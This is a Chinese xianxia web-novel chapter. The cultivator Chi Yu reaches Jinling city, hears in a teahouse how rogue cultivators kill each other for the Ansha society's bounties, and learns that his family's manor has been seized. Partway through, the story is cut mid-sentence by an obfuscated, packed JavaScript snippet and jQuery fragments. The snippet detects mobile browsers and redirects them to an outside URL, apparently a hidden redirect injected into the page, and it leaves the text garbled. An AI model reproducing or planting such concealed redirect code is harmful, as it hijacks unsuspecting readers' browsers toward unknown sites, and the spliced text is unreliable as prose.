离开风津渡,池遇御剑往晋陵城方向疾驰而去。
天边流云掠过,清凉无比,他心中却半点轻松也无,只沉甸甸压着一桩心事——浔灵山庄,池家上下,生死未卜。
飞行一个多时辰,前方终于现出晋陵城轮廓。池遇收了剑,自云端缓缓落下,停在郊外。
一踏入凡人城池地界,他便不敢再轻易动用灵力。
修仙者混迹凡尘,最忌锋芒外露。一旦灵力波动被有心人察觉,轻则引来麻烦,重则暴露身份,横生不测。他如今孤身一人,每一步都需慎之又慎。
池遇整理了一下衣袍,迈步朝着城关走去,预想城门处会有设卡盘查,到时他该如何应对。
可真到了近前,才发现晋陵城的城关守卫远没有他想象中森严。
守城士卒只是懒洋洋地扫视往来行人,连多看他一眼都没有,更别提查验身份、搜身盘问。
池遇心中虽有疑惑,却也省了不少周折,连忙迈了进去。
既入城中,扑面而来的便是人间烟火。
街边地摊一字排开,小玩意儿琳琅满目。叫卖声、车马声混在一处,喧嚣热闹。两旁酒楼茶肆、布庄粮铺、药堂当铺一应俱全,幌子随风轻晃,一派市井繁华之象。
池遇自上山修行以来,便久居清寂之地,早已生疏了这般人间喧闹。此刻置身人流之中,听着耳边嘈杂人声,倒生出一种久违的亲切。
只是他还敏锐地察觉到,这看似寻常的凡人城池之中,竟藏着不少修士气息。
这些修士混迹人群,表面与凡人无异,可周身的灵力波动,却瞒不过同是修仙一路的池遇。
池遇想起侯爽此前说过的话。
暗沙会以灵石为诱,在晋陵城广布任务,吸引四方散修前来接取。想来城中这些隐于市井的修士,十有八九都是因此而来。
池遇一路缓行,他久在凌山苦修,身上半枚凡人银钱都没有。
客栈鱼龙混杂,最是消息灵通之地,可他身无分文,连落脚之处都没有,更别提坐下来打探消息。
池遇有些无所适从,只得沿着长街漫无目的地闲逛,心中盘算接下来该如何行事。
就在他沉吟未决之际,一道身影悄无声息地自旁侧巷口走出,拦在了他身前。
“这位道友,瞧着面生得很,想必是初来晋陵城吧?”
声音不高,却带着些久经世故的圆滑。
池遇抬眼,是一名中年男子,比他还要高出一个头,面容普通,眼神却很是活络。
外貌虽不起眼,但却也是个修仙者。
池遇立刻拱手:“道友请了,在下确实初入贵宝地,人生地不熟。”
中年男子目光在他身上一转,似在打量他的深浅,随即压低声音,语气隐晦:“你也是……暗沙会?”
话点到即止,可其中意味,两人都心知肚明。
池遇点了点头,又故意露出几分茫然:“在下初来乍到,尚不明白其中规矩,不知道友可否指点一二?”
“好说,好说。”中年男子一口应下,笑得十分爽快,“只是这大街上人多眼杂,说话不便。前面不远有间茶楼,清静雅致,我们寻个座位,我慢慢与你细说。”
池遇正愁无人引路,当即顺水推舟:“那就有劳道友了。”
两人一前一后,穿过人流,寻到茶楼,选了二楼靠窗一处位置落座。
窗边视野开阔,可将楼下街景尽收眼底,又不易被旁人偷听,正是交谈的好地方。
中年男子点来一壶粗茶,对着池遇抱了抱拳:“还未自我介绍,在下甄仕明,一介散修,无门无派。方才见道友在街上神色踌躇,便斗胆上前搭话,若是唐突,还望莫怪。”
池遇微微一笑,谦和道:“甄兄多虑了。在下江逢,同样是散修。若不是甄兄热心上前,我此刻还如无头苍蝇一般乱撞,心中感激还来不及。”
甄仕端起茶盏呷了一口,神色正经了起来:“客套话咱们就不多说了。江兄弟既然也是为赚灵石而来,不如你我二人组成搭档,一同做任务?”
池遇心中立刻明白。
此人并非无端热心,而是带着目的接近。可他非但没有生气,反而微微松了口气。
明码标价的利益交换,远比无缘无故的善意要安全可信得多。
他微微皱眉,故作疑惑:“甄兄是想组队?可据我所知,暗沙会发布的任务大多难度不高,对我等而言,易如反掌。两人一同接取,分到手中的灵石,岂不比一人独得要少?”
甄仕明闻言,非但不恼,反而拍了拍桌沿,叹道:“江兄弟,你是真不清楚眼下晋陵城的形势。你只知任务简单、报酬丰厚,却不知如今这城里,早已是狼多肉少!”
“自从暗沙会在晋陵城放出口风,四面八方的散修便源源不断往这儿赶。你方才入城也看见了,城中随处可见修士,一个个都盯着那几块灵石呢。”
“可暗沙会每月十五,发布的任务就那么几个。”甄仕明语气沉了几分,“你想想,这么多修士,就这么几口饭吃,最后会变成什么样子?”
池遇眼神微冷,缓缓吐出四个字:“争抢厮杀。”
“一点不错!”甄仕明声音压低,“强压弱,大欺小。那些悬赏丰厚的任务,早就被高修为的修士牢牢攥在手里,轮得到你我?”
“我们这些修为低微的散修,抢不过人家,便只能抱团取暖,能抢些别人看不上的小任务。”
说到这里,甄仕明脸上露出几分苦涩与无奈:“可事情到后来,越发变了味。到最后,就算没有任务发布,那些心狠手辣之辈,也会主动对低阶修士下手,杀人夺宝!”
池遇倒吸一口凉气。
他原以为,暗沙会只是借任务收拢修士,为己所用。可此刻一听,才发现事情远比表面更险恶。
任务本身或许并不重要,先放出丰厚报酬,引得四方修士蜂拥而至,再人为制造匮乏与冲突,让这群人为了一点灵石自相残杀,恐怕才是幕后之人真正的目的。
池遇不禁感到悲哀。
有些人纵使有了踏入修仙界的资格又如何,还不是为了利益被凡人玩弄于股掌之间。
如此一来,修仙与不修仙,又有什么分别?
实在讽刺。
“江兄弟?”甄仕明见他神色若有所思,久久不语,不由开口唤了一声,“你怎么看?”
池遇回过神,压下心中波澜,又问:“甄兄,我还是不解。既然如今在晋陵城修为低者境遇如此艰难,为何不索性远离此地。这样虽舍了灵石,但好歹保住了性命啊。”
甄仕明苦笑:“江兄弟,你出身想必还算安稳,不知我们这些底层散修的苦。谁不愿安安稳稳修行?谁愿意为了几块灵石,低头听命于一群凡人,丢尽修仙者的脸面?”
“可他们给的实在太多了。”
“现在一个最低级的任务,也是这个数……最高级的,少说也是……”甄仕明边说边拿手蘸着点茶水,在木桌上写了三个字。
伍、什、佰。
“这么多!”这下池遇也忍不住了,生生把尖叫的冲动压在嗓子眼儿里。
这么高的报酬,连池遇都心动不已,他现在完全理解了这群为了灵石不要命的修士。
灵石对修士而言,便是修行根基。
试想,如果他之前没有撞到天大的机缘,误入金晶矿洞,才能有资金跟祝晓芸换取赤炼草毒的解药,那他现在说不定也会为了保命,来铤而走险的。
甄仕明说得没错,谁都有苦衷。
见他神色动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338453|199279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容,甄仕明知道自己的话已经说进了他心里,继续鼓动:“江兄弟,我观你修为,也只有练气四层左右。以你这般境界,又是孤身一人,就算你不接任务,在这城里待不上几日,也必定会被那些心狠手辣之辈盯上。”
“我虽然也不算强,只有练气八层,可毕竟在这城里混了些日子,手头还有几张保命的符箓。你我二人联手,一来可以互相照应,二来也能在这乱城之中,多几分活下去的希望。”
话说到这份上,已是掏心掏肺。
不过为什么会找上他呢?池遇虽感觉哪里不对劲,但又没时间琢磨。
他没忘这次谈话目的是打探浔灵山庄的消息。
池遇面露难色,语气带着几分愧疚:“甄兄一片好意,江某心领了。事到如今,我也不敢再瞒甄兄,我此次前来晋陵城,并非为赚取灵石,而是受一位故友所托,寻访一户亲友。”
“哦?不知是哪户人家?”
池遇缓缓吐出两个字:“池家。”
“池家……”甄仕明在脑中仔细回想,忽然眼神一凛,压低声音,“我想起来了!你说的……莫非是浔灵山庄的池家?”
池遇强作镇定,点头。
甄仕明道:“就在一个多月前,暗沙会的公告上的确出现过一桩与浔灵山庄有关的任务。那赏金高得吓人,我当时只是看了一眼,便记到了现在。”
池遇急切道:“甄兄可还记得,那任务具体内容是什么?”
甄仕明摩挲着下巴上的胡茬,努力回忆:“具体的我记不清了,大致是招募修士驻守浔灵山庄。”
“驻守?”池遇一愣。
“没错。”甄仕明点头,“好像浔灵山庄现在已经被作为暗沙会的分堂地点了,但还是会有一些人来进攻滋扰,可能是池家的余部吧,所以就找修士来看守了。”
池遇只觉一阵发寒。
他紧张道:“那池家的主人如今何在?”
甄仕明摇了摇头:“我也是两个月前才来此地,具体内情并不清楚。只是依我推断……山庄都被人占了,原先的主人恐怕……早已遭遇不测,被暗沙会的人下了狠手。”
“遭遇不测……”
这四个字,如同千斤巨石,狠狠砸在池遇心头。
娘亲他们……
甄仕明见他脸色惨白,连忙拍了拍他冰凉的手背,宽慰道:“江兄弟,世事难料,你那位故友的托付,怕是很难完成了。事已至此,不如就听我一句劝,先放下此事,安心与我组队,在这城中站稳脚跟再说。”
池遇深吸一口气,猛地站起身,对着甄仕明郑重抱拳道:“甄兄,恕江某暂时不能答应你。活要见人,死要见尸。江某先行一步,后会有期。”
话音一落,他不等甄仕明开口挽留,转身便走,脚步仓皇。
“哎!江兄弟!你等等!”
甄仕明一惊,下意识站起身阻拦,可池遇脚步极快,转瞬便已冲下楼梯。
桌上茶盏被甄仕明的衣袖带得一晃,“哐当”一声打翻,茶水泼了一桌。
甄仕明顾不得收拾,够着二楼窗边朝下大喊:“江兄弟!你回来!那地方去不得!”
但池遇充耳不闻,扎进人流。
甄仕明怔怔望了片刻,最终只能无奈地叹了口气,悻悻收回身子,坐回原位。
小二闻声匆匆赶来,收拾着狼藉桌面。
甄仕明望着窗外人来人往,眼神复杂:“这小子看着沉稳,却是个烈性之人。这般不管不顾冲去浔灵山庄,恐怕要吃大亏。”
那桩驻守浔灵山庄的任务,悬赏高得惊人,一月便有百枚灵石,想来只有修为高深、本领高强的修士才敢接下。
“希望你吉人天相吧。”
窗外,阳光正好,市井喧嚣依旧。